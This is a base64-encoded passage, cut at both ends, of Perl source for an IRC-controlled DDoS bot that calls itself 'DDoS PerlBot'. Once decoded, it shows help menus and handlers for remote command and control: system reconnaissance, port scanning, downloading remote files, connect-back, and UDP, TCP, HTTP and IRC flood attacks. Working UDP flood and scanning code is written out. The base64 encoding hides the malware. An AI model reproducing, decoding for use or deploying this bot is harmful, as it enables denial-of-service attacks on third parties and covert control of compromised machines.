1TRyAkcHJpbnRsIDoCAzQsMSBbSGVscF0CIAM5LDE9PT09PT09PT09PT09PT09PT09PT09PSADAiIpOw0KCXNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDoCAzQsMSBbSGVscF0CIAM5LDFERG9TIFBlcmxCb3QgTWFpbiBIZWxwOiAgAwIiKTsNCglzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6AgM0LDEgW0hlbHBdAiADOSwxPT09PT09PT09PT09PT09PT09PT09PT0gAwIiKTsNCglzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6AgM0LDEgW0hlbHBdAiADOSwxIXUgAzEyQAMDOSwxc3lzdGVtICAgICAgICAgICAgICADIik7DQoJc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOgIDNCwxIFtIZWxwXQIgAzksMSF1IAMxMkADAzksMXZlcnNpb24gICAgICAgICAgICAgAyIpOw0KCXNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDoCAzQsMSBbSGVscF0CIAM5LDEhdSADMTJAAwM5LDFjaGFubmVsICAgICAgICAgICAgIAMiKTsJDQoJc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOgIDNCwxIFtIZWxwXQIgAzksMSF1IAMxMkADAzksMWZsb29kICAgICAgICAgICAgICAgAyIpOw0KCXNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDoCAzQsMSBbSGVscF0CIAM5LDEhdSADMTJAAwM5LDF1dGlscyAgICAgICAgICAgICAgIAMiKTsJDQoJc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOgIDNCwxIFtIZWxwXQIgAzksMT09PT09PT09PT09PT09PT09PT09PT09IAMCIik7DQp9DQoNCmlmICgkZnVuY2FyZyA9fiAvXnN5c3RlbS8pIHsNCgkkdXB0aW1lPWB1cHRpbWVgOw0KCSRvd25kPWBwd2RgOyANCgkkaWQ9YGlkYDsNCgkkdW5hbWU9YHVuYW1lIC1zcnBgOw0KCXNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDoCAzQsMSBbU3lzdGVtXQIgAzksMT09PT09PT09PT09PT09PT09PT0gAwIiKTsNCglzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6AgM0LDEgW1N5c3RlbV0CIAM5LDFCb3QgQ29uZmlndXJhdGlvbjogIAMCIik7DQoJc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOgIDNCwxIFtTeXN0ZW1dAiADOSwxPT09PT09PT09PT09PT09PT09PSADAiIpOw0KCXNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDoCAzQsMSBbU3lzdGVtXQIgAzksMSpTZXJ2ZXIgICAgICAgOgMgAgMxMiRzZXJ2ZXIgIik7CQ0KCXNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDoCAzQsMSBbU3lzdGVtXQIgAzksMSpQb3J0ICAgICAgICAgOgMgAgMxMiRwb3J0ICIpOw0KCXNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDoCAzQsMSBbU3lzdGVtXQIgAzksMSpDaGFubmVscyAgICAgOgMgAgMxMkBjaGFubmVscyAiKTsNCglzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6AgM0LDEgW1N5c3RlbV0CIAM5LDEqdW5hbWUgLWEgICAgIDoDIAIDMTIkdW5hbWUgIik7DQoJc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOgIDNCwxIFtTeXN0ZW1dAiADOSwxKnVwdGltZSAgICAgICA6AyACAzEyJHVwdGltZSAiKTsNCglzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6AgM0LDEgW1N5c3RlbV0CIAM5LDEqRmFrZVByb2Nlc3MgIDoDIAIDMTIkcHJvY2VzcyAiKTsNCglzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6AgM0LDEgW1N5c3RlbV0CIAM5LDEqUHJvY2Vzc1BJRCAgIDoDIAIDMTIkJCAiKTsNCglzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6AgM0LDEgW1N5c3RlbV0CIAM5LDEqSUQgICAgICAgICAgIDoDIAIDMTIkaWQgIik7DQoJc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOgIDNCwxIFtTeXN0ZW1dAiADOSwxKk93biBEaXIgICAgICA6AyACAzEyJG93bmQgIik7DQoJc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOgIDNCwxIFtTeXN0ZW1dAiADOSwxPT09PT09PT09PT09PT09PT09PSADAiIpOw0KfQ0KDQppZiAoJGZ1bmNhcmcgPX4gL152ZXJzaW9uLyl7DQoJc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOgIDNCwxIFtWZXJzaW9uXQIgAzksMT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0gAwIiKTsNCglzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6AgM0LDEgW1ZlcnNpb25dAiADOSwxQm90IEluZm9ybWF0aW9uczogICAgICAgICAgICAgICAgICADAiIpOw0KCXNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDoCAzQsMSBbVmVyc2lvbl0CIAM5LDE9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09IAMCIik7DQoJc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOgIDNCwxIFtWZXJzaW9uXQIgAzksMSpCb3QgVmVyc2lvbiA6IAMxMiR2ZXJzaW9uICAgAyIpOw0KCXNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDoCAzQsMSBbVmVyc2lvbl0CIAM5LDEqQm90IENyZWF0b3IgOiADMTJERG9TICAgICAgICAgICAgIAMiKTsNCglzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6AgM0LDEgW1ZlcnNpb25dAiADOSwxKkJvdCBZZWFyICAgIDogAzEyMjAxMiAgICAgICAgICAgICAgICADIik7DQoJc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOgIDNCwxIFtWZXJzaW9uXQIgAzksMT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0gAwIiKTsNCn0NCg0KaWYgKCRmdW5jYXJnID1+IC9eZmxvb2QvKSB7DQoJc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOgIDNCwxIFtIZWxwXQIgAzksMT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09IAMCIik7DQoJc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOgIDNCwxIFtIZWxwXQIgAzksMUREb1MgUGVybEJvdCBGbG9vZCBIZWxwOiADAiIpOw0KCXNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDoCAzQsMSBbSGVscF0CIAM5LDE9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSADAiIpOw0KCXNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDoCAzQsMSBbSGVscF0CIAM5LDEhdSADMTJAAwM5LDF1ZHAxIDxpcD4gPHBvcnQ+IDx0aW1lPiAgICAgICAgICAgICAgIAMiKTsNCglzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6AgM0LDEgW0hlbHBdAiADOSwxIXUgAzEyQAMDOSwxdWRwMiA8aXA+IDxwYWNrZXQgc2l6ZT4gPHRpbWU+ICAgICAgICADIik7DQoJc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOgIDNCwxIF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0CIAM5LDE9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSADAiIpOw0KCXNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDoCAzQsMSBbSGVscF0CIAM5LDEhdSADMTJAAwM5LDFjYmFjayA8aXA+IDxwb3J0PiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAMiKTsJDQoJc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOgIDNCwxIFtIZWxwXQIgAzksMSF1IAMxMkADAzksMWRvd25sb2FkIDx1cmwrcGF0aD4gPGZpbGU+ICAgICAgICAgICAgICAgICAgICAgAyIpOwkNCglzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6AgM0LDEgW0hlbHBdAiADOSwxIXUgAzEyQAMDOSwxbWFpbCA8c3ViamVjdD4gPHNlbmRlcj4gPHJlY2lwaWVudD4gPG1lc3NhZ2U+ICADIik7DQoJc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOgIDNCwxIFtIZWxwXQIgAzksMSF1IAMxMkADAzksMWRucyA8aXA+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgAyIpOwkNCglzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6AgM0LDEgW0hlbHBdAiADOSwxIXUgAzEyQAMDOSwxcG9ydCA8aXA+IDxwb3J0PiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICADIik7DQoJc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOgIDNCwxIFtIZWxwXQIgAzksMSF1IAMxMkADAzksMXBvcnRzY2FuIDxpcD4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgAyIpOwkNCglzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6AgM0LDEgW0hlbHBdAiADOSwxIXUgcHdkIChmb3IgZXhhbXBsZSkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgAyIpOw0KCXNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDoCAzQsMSBbSGVscF0CIAM5LDE9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSADAiIpOw0KfQ0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIyMjIyBbIEZ1bmN0aW9ucyBdICMjIyMjDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQoNCmlmICgkZnVuY2FyZyA9fiAvXmRpZS8pIHsNCglzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlFVSVQgOiIpOw0KCSRraWxsZCA9ICJraWxsIC05ICIuZm9yazsNCglzeXN0ZW0gKGAka2lsbGRgKTsNCn0NCiMjIyMjIyMjIyMjCQ0KaWYgKCRmdW5jYXJnID1+IC9eam9pbiAoLiopLykgew0KCXNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiSk9JTiAiLiQxKTsNCn0NCg0KaWYgKCRmdW5jYXJnID1+IC9ecGFydCAoLiopLykgew0KCXNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUEFSVCAiLiQxKTsNCn0NCiMjIyMjIyMjIyMjDQppZiAoJGZ1bmNhcmcgPX4gL15wb3J0c2NhbiAoLiopLykgew0KICBteSAkaG9zdGlwPSIkMSI7DQogIG15IEBwb3J0YXM9KCIxIiwiNyIsIjkiLCIxNCIsIjIwIiwiMjEiLCIyMiIsIjIzIiwiMjUiLCI1MyIsIjgwIiwiODgiLCIxMTAiLCIxMTIiLCIxMTMiLCIxMzciLCIxNDMiLCIxNDUiLCIyMjIiLCIzMzMiLCI0MDUiLCI0NDMiLCI0NDQiLCI0NDUiLCI1MTIiLCI1ODciLCI2MTYiLCI2NjYiLCI5OTMiLCI5OTUiLCIxMDI0IiwiMTAyNSIsIjEwODAiLCIxMTQ0IiwiMTE1NiIsIjEyMjIiLCIxMjMwIiwiMTMzNyIsIjEzNDgiLCIxNjI4IiwiMTY0MSIsIjE3MjAiLCIxNzIzIiwiMTc2MyIsIjE5ODMiLCIxOTg0IiwiMTk4NSIsIjE5ODciLCIxOTg4IiwiMTk5MCIsIjE5OTQiLCIyMDA1IiwiMjAyMCIsIjIxMjEiLCIyMjAwIiwiMjIyMiIsIjIyMjMiLCIyMzQ1IiwiMjM2MCIsIjI1MDAiLCIyNzI3IiwiMzEzMCIsIjMxMjgiLCIzMTM3IiwiMzEyOSIsIjMzMDMiLCIzMzA2IiwiMzMzMyIsIjMzODkiLCI0MDAwIiwiNDAwMSIsIjQ0NzEiLCI0ODc3IiwiNTI1MiIsIjU1MjIiLCI1NTUzIiwiNTU1NCIsIjU2NDIiLCI1Nzc3IiwiNTgwMCIsIjU4MDEiLCI1OTAwIiwiNTkwMSIsIjYwNjIiLCI2NTUwIiwiNjUyMiIsIjY2MDAiLCI2NjIyIiwiNjY2MiIsIjY2NjUiLCI2NjY2IiwiNjY2NyIsIjY5NjkiLCI3MDAwIiwiNzk3OSIsIjgwMDgiLCI4MDgwIiwiODA4MSIsIjgwODIiLCI4MTgxIiwiODI0NiIsIjg0NDMiLCI4NTIwIiwiODc4NyIsIjg4NTUiLCI4ODgwIiwiODk4OSIsIjk4NTUiLCI5ODY1IiwiOTk5NyIsIjk5OTkiLCIxMDAwMCIsIjEwMDAxIiwiMTAwMTAiLCIxMDIyMiIsIjExMTcwIiwiMTEzMDYiLCIxMTQ0NCIsIjEyMjQxIiwiMTIzMTIiLCIxNDUzNCIsIjE0NTY4IiwiMTU5NTEiLCIxNzI3MiIsIjE5NjM1IiwiMTk5MDYiLCIxOTkwMCIsIjIwMDAwIiwiMjE0MTIiLCIyMTQ0MyIsIjIxMjA1IiwiMjIwMjIiLCIzMDk5OSIsIjMxMzM2IiwiMzEzMzciLCIzMjc2OCIsIjMzMTgwIiwiMzU2NTEiLCIzNjY2NiIsIjM3OTk4IiwiNDExMTQiLCI0MTIxNSIsIjQ0NTQ0IiwiNDUwNTUiLCI0NTU1NSIsIjQ1Njc4IiwiNTExMTQiLCI1MTI0NyIsIjUxMjM0IiwiNTUwNjYiLCI1NTU1NSIsIjY1MTE0IiwiNjUxNTYiLCI2NTEyMCIsIjY1NDEwIiwiNjU1MDAiLCI2NTUwMSIsIjY1NTIzIiwiNjU1MzMiKTsNCiAgbXkgKEBhYmVydGEsICVwb3J0YV9iYW5uZXIpOw0KICBzZW5kcmF3KCRJUkNfY3VyX3NvY2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